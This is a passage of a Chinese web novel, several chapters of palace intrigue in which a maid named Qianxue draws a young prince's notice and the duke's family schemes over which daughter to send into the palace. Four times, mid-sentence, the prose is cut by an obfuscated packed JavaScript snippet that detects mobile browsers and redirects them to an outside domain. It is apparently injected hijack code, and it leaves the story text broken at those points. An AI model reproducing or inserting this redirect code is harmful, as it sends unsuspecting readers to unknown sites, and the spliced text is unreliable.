“你入府晚，有些事可能不知。”吴玉瑶的声音更轻了，如同耳语，“大姐她其实与陛下，算得上是少年夫妻的情分。” 千雪心头微动，配合地露出倾听的神色，手上依旧有条不紊地将一支玉簪收进锦盒。 “大姐是陛下登基后选秀入宫的，但不同于寻常选秀。大姐未出阁前，便与当时还是太子的陛下有过几面之缘，据说是得了陛下青眼的。”吴玉瑶的眼中闪过一丝追忆的光芒，随即又黯淡下去，“后来大姐入了东宫，一直很得喜爱，她性子好，人也聪慧，陛下待大姐极好，没过几年，大姐便生下了大皇子，也就是今日那位小殿下。那时节，大姐在后宫风头无两，连带着我们国公府也是门庭生辉。” 她顿了顿，语气里带上了一丝难以言喻的惋惜：“只可惜情深不寿，慧极必伤。后来不知怎的，大姐与陛下之间似乎生了些嫌隙，宫闱之事，我们外臣之家也难知其详。只知大姐后来便病了一场，那场病来得凶险，缠绵病榻足足有半载之久！御医署的太医们轮番守着，用了多少名贵药材才将养回来。自那以后，大姐的身子骨便大不如前了，人也清减了许多，陛下似乎也渐渐疏远了。” 吴玉瑶的声音带着一丝惆怅：“今日见她，虽贵为贵妃，气度雍容，可那眉宇间的倦怠和病弱之色比从前更甚了。想是这深宫岁月，劳心劳力，终究是耗损心神。” 千雪静静地听着，听着吴玉瑶的描述，她脑中也脑补出了画面：少年情谊，盛宠一时，诞育长子，然后……骤然失宠，大病一场，从此缠绵病榻，恩宠不再。 这情节太像话本子里写的了！ 一个念头在她心中激起涟漪，事情，真的只是这么简单吗？ 仅仅是因为情爱会散？帝王之心易变？还是那场突如其来的，几乎要了贵妃性命的大病，本身就不那么寻常？ 50.第五十章 陪玩 这日午后，芳华院内一片安宁，千雪正陪着吴玉瑶在窗下绣花，小橘在一旁分着丝线，突然，院外传来一阵不喧哗，脚步声急促，还夹杂着内侍特有的尖细嗓音。 “大皇子殿下驾到——！” 这一声通传，让千雪手中的绣花针猛地一顿，险些扎到手指，吴玉瑶也惊讶地抬起头：“大皇子？他怎么来了？” 前院几个穿着体面宫装的内侍簇拥着一个穿着小锦袍，头戴金冠的小男孩走进来，正是大皇子萧曜！小家伙脸上带着几分新奇和兴奋，小脑袋转来转去，一双乌溜溜的大眼睛四处张望。 “外祖母呢？快带我去给外祖母请安！”萧曜人小，声音却清亮。 早有得了消息的管事婆子慌忙迎上来，满脸堆笑：“殿下金安！老夫人正在松鹤堂等候殿下呢！殿下这边请！”一群人又簇拥着萧曜，浩浩荡荡往老夫人居住的松鹤堂去了。 芳华院里，吴玉瑶和千雪面面相觑。 “这，大皇子怎么突然来了？”吴玉瑶放下绣绷，有些不解。 千雪心中却隐隐有了猜测，这小祖宗，怕是宫里待得闷了，缠着贵妃娘娘要来外祖母家玩耍。贵妃娘娘经了上次惊吓，想必是拗不过他，又想着国公府守卫森严，在自己娘家总比外面安全，这才允了。 果然，没过多久，就有杜氏身边的郑妈妈亲自过来传话：“四小姐，老夫人吩咐了，大皇子殿下要在府里玩会儿，让府里年纪相仿的小主子们都去松鹤堂陪着。三少爷，四少爷已经在路上了，三小姐和您也赶紧过去见见礼。” 吴玉瑶可不敢耽误连忙起身：“是，我这就去。”她整理了一下衣裙，带着千雪和素丹匆匆赶往松鹤堂。 松鹤堂内，气氛比平日热闹许多。国公夫人杜氏坐在下首，上首则端坐老国公夫人。 萧曜则被安排坐在太夫人身边一张特设的小椅子上，两条小腿晃悠着，好奇地看着陆续进来的表哥表姐们。 三少爷吴景阳和四少爷吴景云都是七八岁的年纪，与萧曜一般大。 两人得了祖母的眼色，规规矩矩地上前，先给老夫人，夫人磕头请安：“孙儿给祖母。母亲请安！”然后才转向萧曜，恭敬行礼：“给大皇子殿下请安！” 吴景云性子活泼些，偷偷抬眼打量着这位身份尊贵的皇子表弟，眼神里带着好奇。吴景阳则更腼腆，小脸微红，规规矩矩地站着。 紧接着，吴玉颜和吴玉瑶也到了，两人亦是先上前，对着老夫人盈盈下拜：“孙女给祖母，母亲请安！”吴玉颜吴玉瑶都落落大方。 老国公夫人看着眼前花团锦簇的孙辈们，笑的慈祥极了，尤其是看到粉雕玉琢的萧曜，更是喜爱，招手让他近前些，拉着他的小手问了几句路上可累，在宫里可好之类的家常话。 萧曜在曾外祖母面前倒是收敛了几分顽皮，规规矩矩地答了。 杜氏看着外孙高兴，心里也松快了些。萧曜坐不住，想去外面玩，杜氏目光扫过侍立在一旁的宫人内侍，对身边的郑妈妈低声道：“殿下身边不能离了人，你亲自跟着，再挑两个稳妥的丫头……” 她话还没说完，正被吴景阳小声介绍府里好玩地方吸引的萧曜，小脑袋无意间一转，视线扫过侍立在吴玉瑶身后的丫鬟们。当他的目光掠过千雪时，那双乌溜溜的大眼睛骤然一亮！ 他小手指着千雪的方向，声音清脆： “你！那个穿青衣服的！过来！跟着我！” 满堂瞬间一静！ 所有人的目光，齐刷刷地聚焦在千雪身上！ 千雪只觉得头皮一麻！心脏猛地一跳！这小祖宗！怎么偏偏点中了她？！她下意识地垂下眼帘，掩去眸中的惊愕。 杜氏和吴玉瑶也是一愣，太夫人也顺着萧曜的手指看了过去，眼神里带着一丝探究。 杜氏看向萧曜，温声问道：“殿下认得她？” 萧曜小嘴一撇，带着点小傲娇：“不认得！我就要她跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091138|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着！”他压根没解释原因，只是再次强调，“让她陪我玩！” 松鹤堂内众人面面相觑，一个皇子殿下，怎么会无缘无故点一个从未见过的丫鬟跟着伺候？这太不合常理了！ 杜氏的脸色微凝，她再次仔细打量了一下千雪，千雪的性子她知道，是个知晓进退的，也沉稳安静。 只是但皇子殿下这突如其来的点名实在蹊跷。她心思电转，联想到上次慈恩寺的惊险莫非这丫鬟当时在场，被殿下无意中记住了？还是有什么别的缘故？ 权衡之下，杜氏决定先顺着外孙的意思。她看了一眼上首的老夫人，见老夫人微微颔首，便对千雪道：“千雪，既然殿下点你，你便好生跟着伺候殿下。务必小心谨慎，寸步不离！” “是，夫人。”千雪强压下心中的万般无奈，恭谨地应下。她能感觉到数道目光扎在自己背上，尤其是来自杜嬷嬷等宫人的审视眼神。 萧曜见目的达成，立刻从椅子上跳下来，小脸上满是得意：“走！我们去玩！”他对着两位祖母甜甜一笑：“曾外祖母，外祖母，曜儿去玩会儿再来陪您说话！”得到两位长辈慈爱的点头后，他一把拉住旁边吴景阳的袖子，“带我去园子里！我要看大鱼！还要爬假山！” 吴景阳被他拽得一趔趄，连忙应道：“好！好！殿下跟我来！”吴景云也赶紧跟上。吴玉瑶和吴玉颜对视一眼，也只得起身，跟在后面。 一场鸡飞狗跳的“陪玩”任务，正式拉开！ 千雪深吸一口气，认命地跟了上去。看着前面那个精力旺盛，如同脱缰小马驹般的小身影，千雪只觉得一个头两个大。 这小祖宗真是嫌她命太长了吗？差点被吴景舟灭口，这次又被这小祖宗当众点名这下，她算是彻底被推到风口浪尖上了！杜嬷嬷她们会怎么想？ 她看着萧曜蹦蹦跳跳，心中哀叹：这哪是金尊玉贵的皇子？分明是个行走的麻烦制造机！国公府这半日，怕是要被他闹得天翻地覆了！ 51.第五十一章 坦诚的千雪 国公府的花园，今日算是遭了殃。 萧曜如同放出笼的小老虎，精力旺盛得吓人！他拉着三少爷吴景阳和四少爷吴景云，在假山石洞里钻来钻去，在池塘边追着锦鲤跑，甚至还想爬上那棵歪脖子老柳树！两个半大少年被他支使得团团转，累得气喘吁吁，却不敢有丝毫怠慢。 千雪寸步不离地跟在后面，一颗心提到了嗓子眼。这小祖宗跑起来脚下生风，假山石阶湿滑，池塘水深，老柳树枝桠脆弱哪一处不是险地？ 她眼观六路耳听八方，既要防着他摔倒磕碰，又要留意池塘水深，还得随时准备在他爬树时冲上去当肉垫！精神高度紧张，比在芳华院伺候小姐绣花累上百倍！ 吴玉瑶和吴玉颜也跟在后面，但两人的表现，却截然不同。 吴玉瑶始终保持着几步远的距离，目光温柔追随着萧曜的身影。 她并不刻意靠近，但当萧曜在假山湿滑的石阶上蹦跳时，她也会适时地温声提醒：“殿下小心脚下，石阶滑。” 当萧曜跑到池塘边探着身子去够水里的锦鲤时，她会轻声提醒：“殿下莫靠太近，当心湿了衣裳。” 她甚至吩咐小橘去厨房取了些干净的鱼食来，递给萧曜：“殿下用这个喂鱼，鱼儿会聚过来的。”她的关心细致而自然，带着一种姐姐般的温婉，并不显得过分热络或刻意讨好。 吴玉颜则显得有些心不在焉，她远远跟在最后面，眼神飘忽，似乎心思完全不在此处。当萧曜在假山上攀爬时，她只是象征性地抬了抬眼，并未出声提醒。 萧曜兴奋地冲向池塘边，她则下意识地蹙了蹙眉，脚步反而往后挪了半步，仿佛生怕沾上什么麻烦。 她对这位尊贵的小表弟，并无太多亲近之意，反而像是在完成一项不得不做的任务，只想尽快结束。 千雪将这一切看在眼里，心中了然。 吴玉瑶是真心喜欢孩子，对萧曜的关心发自内心，带着姐姐的温柔和体贴。 而吴玉颜……经历了孟淼那场风波，怕是心有余悸，对任何可能惹上麻烦的人和事都避之唯恐不及。让她来“陪玩”这位身份敏感的小皇子，对她而言恐怕是种煎熬，她巴不得离得越远越好，又怎会主动亲近？ 好不容易熬到日头西斜，萧曜终于玩累了，小脸蛋红扑扑的，额头上沁着细密的汗珠，被杜嬷嬷和宫人们半哄半劝地带去更衣歇息，准备回宫。 千雪只觉得浑身骨头都像散了架，她强撑着精神，跟着吴玉瑶回到芳华院。吴玉瑶靠在软榻上，由小橘伺候着净手擦脸。 千雪默默侍立一旁，心里却沉沉的。 身体上的疲惫尚可恢复，但心里的忧虑却如同乌云压顶。萧曜那突如其来的点名，杜氏事后定会盘问！她该怎么解释？说殿下只是随手一指？谁信？杜嬷嬷那些宫人精明的眼神。 真是烦死了！千雪心中暗骂。这小祖宗，简直是她的灾星！ 松鹤堂内，气氛截然不同。 送走了闹腾的外孙，喧嚣散去，杜氏并未立刻离开，而是留了下来。上首，老夫人依旧端坐着，手里捻着一串油光水滑的佛珠，闭目养神。 这对婆媳，因着早年的一些旧事，关系素来微妙，平日里并不十分亲近相反还互相给对方添堵。 但今日不同，涉及国公府根基，涉及宫中贵妃娘娘和皇子的大事，她们必须放下私怨，共同商议。 杜氏挥退了所有下人，只留下心腹郑妈妈在门外守着。她亲自给老夫人续了热茶，这才在老夫人下首的椅子上坐下。 “母亲，”杜氏开口，带着郑重，“那日慈恩寺玉华已经透露了意思她，她想在府里挑个妹妹，参加下月的小选，入宫去。” 老夫人捻动佛珠的手指微微一顿，缓缓睁开了眼睛，没有太多惊讶，只有忧虑和了然。 她沉默片刻，才缓缓道：“玉华她身子骨，到底如何了？” 杜氏闻言，眼圈微红，声音带上了一丝哽咽：“母亲您是知道的，玉华那场病来得凶险，伤了根本，这些年，不过是靠着宫里的好药和太医精心调养，强撑着罢了。面上看着还好，实则已是外强中干，那日您没瞧见，那脸色那精气神…”她说不下去了，用手帕按了按眼角，“她说要选人入宫，怕也是为自己身后事做打算了。” 老夫人长长地叹了口气，佛珠捻动的速度加快了些：“她可是为了曜儿？” 杜氏点头，声音更低：“是，玉华她心思重，她怕自己万一……曜儿还小，深宫险恶，她放心不下。想挑个自家血脉的妹妹入宫，不为争宠，不为生子……”她顿了顿，“只为能有个信得过的人，在宫里照看曜儿一二。替他挡些明枪暗箭，护他平安长大。” 老夫人微微颔首：“是这个理儿，曜儿是长子，身份贵重，却也树大招风。玉华在，尚能护他周全，若玉华唉……”她没再说下去，但意思已然明了。 “人选呢？”老夫人问道，目光落在杜氏脸上。 杜氏脸上露出一丝苦涩和无奈，“府里适龄的只有玉颜和玉瑶了，玉容那孩子忠勇侯府的亲事已经定了，六月就要过门，是万万不能了。”提到吴玉容，杜氏眼中闪过一丝深深的惋惜，“玉容那孩子，才情，相貌，心性，都是拔尖的。心思也通透，处事圆融，若有她入宫照拂曜儿，玉华也能放心些，只可惜……” 老夫人也轻轻摇头：“玉容确实是最合适的，至于玉颜和玉瑶……”她顿了顿，回忆着下午花园里的情形，“玉颜那丫头今日瞧着，离曜儿得远远的，眼神也飘忽，对曜儿似乎并无多少亲近之意，倒像是避之不及，让她入宫照看曜儿？只怕她自己先慌了神，如何能担此重任？” 杜氏深以为然，脸上忧色更重：“母亲说的是，玉颜确实不堪此任，至于玉瑶……”她语气复杂，“玉瑶性子是好的，温婉沉静，心思也纯善。今日在园子里，她对曜儿的关心倒是细致自然，提醒他小心脚下，怕他湿了衣裳，还特意让人取了鱼食瞧着是真心喜欢孩子，也懂得照顾人。” 老夫人捻着佛珠，沉吟道：“纯善，懂得照顾人，这自然是好。可宫里头那是什么地方？吃人不吐骨头的！她那点纯善心思，怕是连自保都难，更遑论护着曜儿，应对那些明枪暗箭了！让她入宫，只怕是……羊入虎口，白白折损了。入宫没点心机手段，怎么能行？” 杜氏愁眉紧锁：“母亲所言极是，宫里头那些弯弯绕绕，她怕是应付不来。可除了她们俩，府里再无适龄的姑娘了。” 老夫人沉默良久，最终长长叹息一声，带着深深的无力感，“唉，玉华这心思是好的，可咱们府里竟挑不出一个能担此重任的！玉容已定亲，玉颜心思不定难当大任，玉瑶纯善有余心机不足难！难啊！” 杜氏也愁眉紧锁，婆媳二人相对无言。 贵妃娘娘为儿子铺路的苦心，国公府却连一个合适的人选都推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097057|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出来，这深宫之路，步步惊心。 老夫人阖上眼，手中的佛珠捻动得更快了，在祈求佛祖庇佑她那深陷宫廷漩涡，可能命不久矣的孙女，和她那尚在稚龄，前路未卜的曾外孙。 一荣俱荣一损俱损，国公府的兴衰与宫内息息相关。 皇宫，华灯初上，精美的宫灯将内殿映照得如同白昼，却驱不散弥漫其中的药味。 贵妃吴玉华倚靠在铺着软缎的贵妃榻上，脸色带着不健康的苍白，但那双乌黑眼眸却此刻正落在正被宫人服侍着净手擦脸的萧曜身上。 “曜儿，”吴玉华的声音带着虚弱，“今日去外祖母家，可玩得开心？” “开心！”萧曜立刻扬起小脸，眼睛亮晶晶的，“景阳小舅带我去爬假山了！还看到好多好多大鲤鱼！可好玩了！” 见他开心，吴玉华唇角弯起：“那就好。”她顿了顿，状似不经意的问道，“母妃听说，你今日在外祖母那里，特意点了个丫鬟跟着？是哪个丫鬟伺候得这般合你心意？” 萧曜正被宫人仔细擦着手，闻言小身子微微一僵，乌溜溜的眼珠转动了一下，有点支吾：“嗯……就，就一个穿青衣服的丫鬟嘛……” “哦？”吴玉华目光更专注了些，“为何点她？可是她认得你？或者做了什么讨你喜欢的事？” 小孩子的直觉有时格外敏锐，萧曜感觉到了母妃语气里那份不同寻常的探寻。他并不想暴露自己曾在慈恩寺见过那个叫千雪的丫鬟，更不想提起那次的躲猫猫。 他索性小嘴一撇，带上点孩子气的任性搪塞道：“没有为什么！就…就看她顺眼！” 这虽然是搪塞，却带着几分真实，在花园里疯跑时，当那个青衣丫鬟靠近他扶他时，他曾从她身上嗅到一股淡淡的，若有若无的清香。 不同于宫人们身上惯用的浓郁花香，也不同于母妃殿里终年不散的药味，那是一种微苦中带着清凉草叶的独特气味，像是某种草药混合的淡香，幽幽缕缕，钻进他鼻尖，让他莫名觉得心头那点燥意都平息了些许，很舒服。 他喜欢那股味道。 吴玉华深深看了儿子一眼，她太了解自己的儿子了，知道他这话半真半假，必然有所隐瞒。但看他那带着懵懂又不耐烦的样子，知道再追问下去也无甚结果，她轻轻叹了口气，将疑虑暂时压下。 “顺眼么……”她低声重复了一遍，随即又似随口问道：“那你今日见到玉颜小姨和玉瑶小姨了？觉得她们如何？” 萧曜对这个话题显然兴趣缺缺，他被宫人伺候着脱了小靴子，舒舒服服地抱着软枕靠在榻上，小嘴微嘟：“瑶姨？还……还行吧，她给我拿鱼食了。”他努力回想着那个总落后一步在他身后的小姨。 声音温温柔柔提醒他小心的表姨，印象尚可。“那个……穿什么颜色的另一个？”他小眉头皱起，似乎努力在脑海中勾勒另一个身影，最终茫然地摇摇头，“一直离得好远，我都没看清她长什么样。”吴玉颜全程疏离避忌的姿态，在小小年纪的萧曜心里，留下的是存在感几乎为零的印象。 “哦？”吴玉华眼眸微动，若有所思。一个被儿子评价“离得远”，“看不清样貌”的妹妹，这与她最初的预料有些不同，按照她的了解，吴玉颜应该会更加讨好萧曜才对。 看来玉颜那丫头的心思，是半点都没放在曜儿身上，这倒是奇怪，她捻了捻手中微凉的玉镯，心中思绪百转。 52.第五十二章 谋臣 国公府，夜色已深，烛光摇曳。 此刻的锦居灯火通明，却气氛压抑。 主位上，国公夫人杜氏端坐着，脸色如同窗外的夜色一般深沉。白日里因为萧曜而在脸上堆积的些许笑意早已消失无踪。 千雪低眉顺眼地站在堂下，背脊挺直，看起来并不心虚害怕，但是她藏在袖中的手指却已悄然攥紧。 “千雪，“杜氏开口，“今日殿下回府，为何会独独点了你一个丫鬟跟着伺候？” 千雪的心猛地一沉，果然！该来的还是来了，千雪深吸一口气，压下不安。 等再次抬起眼的时候，目光坦然，且带着一丝困惑：“回夫人，奴婢亦是不解，殿下贵为皇子，奴婢身份低微，能有幸伺候殿下一回已经是天大的福气，如何敢妄加揣测殿下的心意？殿下当时只随意一指，奴婢亦不知缘由，只听得殿下似乎说了句看着顺眼？” “看着顺眼？”杜氏冷嗤一声，显然不信这种借口，她身体微微前倾，“你在国公府当差也有些时日了，平日行事倒也稳重，所以我才肯用你，但……” 她话锋陡然一转，“你以为，府里的眼睛都是摆设么？你每月三次休沐，天一亮就出府，天擦黑才回府！说！你到底去了何处？做了何事？！” 千雪心头一跳，暗道杜氏果然查了她的行踪。但她并未惊慌失措，反而在杜氏问出这句话后，心中紧绷的弦稍稍松了一分，比起追问萧曜点名的玄机，这个问题，她反而更好应对。 她迎着杜氏审视的目光，并未跪下，只是再次微微屈膝回话：“回夫人，奴婢每逢休沐出府，是去学艺了。” “学艺？”杜氏眉头一蹙，显然没料到是这个答案，“学什么艺？” “学些粗浅的拳脚功夫。”千雪回答得干脆利落，坦坦荡荡，“奴婢当初能留在府里，是靠着认些字，算得清账目这点微末本事。奴婢深知，国公府人才济济，能人辈出，奴婢这点本事在府里不过是勉强立足。府里竞争激烈，若想长久安稳，不被轻易替代，总得多些傍身的本事。” “奴婢想着，趁着年轻力壮，多学一样本事，多一分不被轻易替代的底气。学些拳脚，一来能强身健体，伺候主子时更有精神头，二来，万一遇上什么突发状况，比如府里需要护卫巡查，或者护送主子出门时遇到点小麻烦，奴婢也能多一份力气挡在前面，不至于手无缚鸡之力，只能干看着，毕竟奴婢是伺候府中小姐的，那些护院哪能轻易近小姐的身，也不能随时察觉危险。夫人奴婢所求，不过是在府里站稳脚跟，为自己争一条更稳当的活路。” 她的话语平静，没有哭诉，没有乞怜，只有一种底层人为求生存而奋力挣扎的务实清醒。 她甚至没有过多解释学武的细节，只是清楚表达了自己的动机是为了生存。 杜氏愣住了。 她预想过很多种可能，私会情郎？传递消息？甚至可能是别府的眼线却唯独没想到，竟是这样一个如此直白又带着点上进心的理由？ 让她一时有些无语。 学武？一个深宅大院里的丫鬟，竟然偷偷跑去学武？ 杜氏看着眼前这个身量不高，面容清秀的丫鬟，那双沉静的眼眸里没有恐惧。 杜氏心中掀起了波澜。 这小丫鬟竟有如此心气？不甘于命运，懂得未雨绸缪，甚至敢想敢做，偷偷去学那等被视为下九流的拳脚功夫？这份行动力，这份在困境中挣扎求生的韧劲绝非寻常丫鬟可比！ 她想起千雪刚入府便行事有度，去了四丫头院里也是立刻拿捏了四丫头，在芳华院站稳脚跟。 两个字突然涌入了杜氏的脑海！ 谋臣！ 自古打天下，守江山，除了明主，更需能臣谋士！后宫虽非战场，但其凶险诡谲，有过之而无不及！玉瑶那孩子，心性纯善，毫无城府，让她入宫去应对那些吃人不吐骨头的妃嫔，无异于羊入虎口！可若找一个心机深沉，手段了得的女子入宫，万一她生下皇子，岂不是成了曜儿未来的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102215|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腹大患？这其中的平衡，太难把握！ 但若送入宫的不是嫔妃，而是一个忠心且有能力的谋臣呢？ 一个身份低微的丫鬟！ 一个心思缜密，懂得审时度势，甚至还有几分自保能力的丫鬟！ 一个能辅佐在玉瑶身边，替她出谋划策，替她看清后宫迷雾，甚至在关键时刻护住曜儿的丫鬟！ 这个念头一旦升起，就如同野草般在杜氏心中疯狂滋长！ 若是送玉瑶玉颜进宫她们缺的不是身份宠爱，她们缺的是在深宫生存的智慧和手段！缺的是一个能在暗处为她看清前路，抵挡暗箭的臂膀！ 杜氏的目光落在千雪身上，变得无比复杂。 她原本的疑虑和冷厉，在这一刻悄然转变。眼前的千雪，不再仅仅是一个需要盘问的丫鬟，而是一个可能蕴含着价值的棋子。 堂内烛火跳跃，光影在杜氏变幻莫测的脸上明灭不定。 千雪依旧垂手而立，感受到杜氏目光的变化，心中警铃大作。 那目光不再是单纯的打量，而是多了一种让她感到不安的探究，还带着算计？她希望自己的感觉是做的，若是杜氏要算计她，她现在肯定躲不过。 她不知道杜氏心中那惊涛骇浪的念头，但本能地感觉到，事情似乎朝着一个她完全无法预料的方向发展了。 杜氏沉默了许久，久到千雪感觉腿脚有些发麻。良久才听到杜氏的声音响起： “学武强身健体，倒也不是坏事。” 千雪心想这是不追究了？ “只是，身为女子，终究要谨守本分。府里的规矩，不可逾越，今日之事，念在你一片上进之心，暂且记下，日后行事，需更加谨慎，明白吗？” “是，夫人，奴婢谨记教诲。”千雪恭敬应道，心中却无半分轻松。 最后千雪离开的时候，杜氏还让郑妈妈赏了她银子，说是她伺候大皇子应得的，杜氏变脸如此之快，让千雪更加不安，总觉得她憋着坏招。 53.第五十三章 吴承宗的算计 过了几日，杜氏去前院请国公爷吴承宗书房寻他，吴承宗年逾五旬，鬓角微霜，面容沉肃。 杜氏率先开口：“昨日，玉华又递了话出来。” 吴承宗捻动扳指的手指微微一顿，看向杜氏：“哦？玉华，怎么说？” 杜氏深吸一口气，语气复杂：“玉华她，思虑再三，还是更属意玉瑶那孩子。” 吴承宗眉头微不可查地蹙了一下，没有说话，只是示意杜氏继续说下去。 “玉华说，”杜氏的声音更低了些，带着一丝无奈，“玉瑶性子温婉纯善，心思干净，对曜儿也是真心喜爱，照顾得细致。她，她怕自己时日无多，只想给曜儿身边留一个真心疼他，能像姐姐般照拂他的人。玉瑶，心思单纯，没有那些弯弯绕绕，反倒让她更放心些。”她顿了顿，补充道，“玉华开了这个口，我们国公府，势必要全力支持，送一个姑娘入宫。” 杜氏说完，看向吴承宗，她心中其实也倾向于玉瑶。玉瑶的纯善和对孩子的真心，是装不出来的，再加点她本就不喜吴玉颜。 然而，吴承宗听完，却沉默良久，显然在权衡利弊。过了好一会儿，他才缓缓开口。 “玉瑶性子是沉稳些，对曜儿也上心，这没错，但…”他话锋一转，“玉华只看到了眼前，她病着，心焦，只想着给曜儿找个知冷知热的人看顾。可这深宫岂是只靠真心就能立足的地方？她更忘了，曜儿将来要走的路，荆棘遍布，他需要的，不仅仅是后宫里一个照顾他衣食住行的人！” “玉颜那丫头，性子是毛躁了些，确实该敲打，但她并非一无是处。” 杜氏一怔，有些不解的看着吴承宗。 吴承宗身体微微前倾：“玉颜的同母兄长是谁？是景舟！” 提到吴景舟，吴承宗眼中闪过一丝真心的赞许和期许：“景舟那孩子，你我都清楚。心思缜密，城府深沉，手段更是，干净利落！学问扎实，前途不可限量！他走的是文官清流的路子，日后入阁拜相，也未必不可能！这才是曜儿未来在朝堂上最需要，也最有力的臂膀！” “玉颜是他一母同胞的亲妹子！若玉颜入宫，景舟便是曜儿在朝中最天然，最稳固的倚仗！他在外朝为官，玉颜在宫内照应，兄妹同心，内外呼应！这层血脉关系，是玉瑶无论如何也比不了的！” 吴承宗看着杜氏脸上变幻的神色，继续道：“景元是武将！常年驻守边关，手里有些兵权是不假，可远离京都！鞭长莫及！且武将身份敏感，在朝堂之上，对曜儿的助力，如何能与景舟这等清流文臣相比？景元在军中，一年也难得回京几次，如何能像景舟这般，时时在京中走动，为曜儿筹谋？” “后宫之事，从来都与前朝息息相关！玉华只想着眼前曜儿身边有个贴心人，却忘了曜儿他更需要前朝有强有力的臂助！玉颜和玉瑶你觉得在景舟心中孰轻孰重！” 一番话敲在杜氏心头！她之前只着眼于后宫，只想着玉瑶的性情更适合照顾曜儿，却忽略了更深一层的朝堂助力！ 吴承宗看得更远！他将吴玉颜入宫，直接与吴景舟在朝中的崛起捆绑在了一起！吴景舟的才华，心机，手段，以及他未来在朝堂上可能达到的高度，才是吴承宗真正看重的！吴玉颜入宫，不仅仅是为了照顾萧曜，更是为了将吴景舟这牢牢绑在萧曜这条船上！ 而她的长子吴景元，是武将，远在边关，且武将身份在朝堂博弈中天然受限，难以像文臣那样深入参与储位之争。这份助力，在吴承宗眼中，远不如吴景舟来得直接和有力！ 杜氏的脸色变幻不定。她不得不承认，吴承宗的话，乍一听是对。 可是她一细品，吴承宗这话里的意思是她所出的儿子比不上吴景舟，难不成以后吴承宗要把这偌大家业交由庶子！ 吴景舟本姓吴，无论进宫的是那个妹妹，他还能不尽心。 “可是老爷，”杜氏有顾虑，她犹豫了一下，还是道，“玉颜那性子不服管教，让她入宫，万一万一她日后有了自己的孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109263|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？” “到那时，她的心还会向着曜儿吗？她…她会不会为了自己的孩子，反而成了曜儿的阻碍？甚至威胁？” 后宫女子，一旦有了自己的骨肉，母性本能便会压倒一切！到那时，什么兄妹情谊，什么家族使命，在亲生骨肉面前，都可能变得不堪一击！若吴玉颜日后诞下皇子，她还会甘心让自己的孩子在萧曜之下吗？她会不会为了自己儿子的前程，反过来算计萧曜这个长子？ 出乎杜氏意料的是，吴承宗听完她的担忧，非但没有忧虑，反而嘴角竟勾起一丝意味深长的笑，甚至带着点，算计的笑容？ “有孩子？那岂不是更好？” 杜氏心头猛地一跳！难以置信地看着吴承宗。 吴承宗眼中闪过一丝精光：“若玉颜能诞下皇子，那，也是我国公府的血脉！这血脉相连，打断骨头连着筋！无论将来如何，曜儿身边，永远多了一个流着吴家血脉的兄弟！这，难道不是曜儿未来更大的助力？不是我国公府更深的根基？” 这下杜氏彻底回过神了，吴景舟可以替换她的景元，吴玉颜也可以替换掉她的玉华，那个孩子自然可以占据曜儿的位置。 杜氏只觉得一股寒气瞬间从脚底窜到头顶！浑身冰冷！ 她彻底懂了吴承宗的算计，不行！绝对不行！ 杜氏在心中疯狂呐喊！玉华是她亲生女儿！曜儿是她嫡亲外孙！她绝不能让任何人威胁到他们！ 她太清楚后宫残酷！一个拥有同样血脉的皇子，怎么可能甘心永远屈居人下？那将是悬在曜儿头顶的刀！ 吴承宗这是把吴景舟和吴玉颜当成国公府的未来了，那她的孩子呢？ 杜氏死死攥紧袖中的手，指甲掐进掌心！ 玉颜绝对不可以入宫，她绝不允许，不论任何人威胁到她的孩子。 那她，绝不手软！ 为了玉华，为了曜儿，她可以做任何事！清除任何威胁！吴承宗的算计再深，也休想都得逞！ 54.第五十四章 敲打 杜氏从书房出来，只觉得心头压着块石头，她强撑着仪态回到自己的锦居，一进门，立刻屏退了所有下人，只留下心腹郑妈妈。 房门紧闭，隔绝了外界的喧嚣。 “夫人，”郑妈妈看着杜氏难看的脸色，小心翼翼地奉上热茶。 杜氏没接茶，疲惫地揉了揉眉心，声音带着怒气和一丝无力：“国公爷定了玉颜，说景舟才是曜儿未来的倚仗。” 